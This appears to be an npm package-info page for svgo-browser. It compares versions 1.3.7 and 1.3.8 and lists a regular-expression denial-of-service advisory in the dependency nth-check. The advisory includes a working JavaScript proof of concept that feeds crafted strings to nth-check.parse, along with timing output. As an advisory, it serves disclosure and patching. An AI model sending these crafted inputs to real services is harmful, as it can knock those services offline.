SVGO-browser is a valuable tool tailored for developers who need to optimize SVG (Scalable Vector Graphics) files directly within browser environments or through Node.js. Versions 1.3.7 and 1.3.8 are nearly identical in their core functionalities and dependencies, both relying on essential libraries like css-tree for CSS parsing, js-yaml for YAML handling, and csso for CSS optimization. They also share the same development dependencies for testing and linting, ensuring code quality.
The key difference lies in their release dates. Version 1.3.8 was published on October 23, 2020, a little over two months after version 1.3.7 which was released on August 13, 2020. The newer version potentially contains bug fixes, performance improvements, or minor updates that were implemented during that interval. While the core functionalities remain the same, upgrading to version 1.3.8 would ensure users benefit from the latest refinements. One other notable difference is the unpacked size of the package. 1.3.8 is slightly smaller than 1.3.7 (341362 vs 341367). For developers, SVGO-browser offers a suite of SVG optimization tools for web projects, improving website loading times and overall performance by reducing SVG file sizes.
All the vulnerabilities related to the version 1.3.8 of the package
Inefficient Regular Expression Complexity in nth-check
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms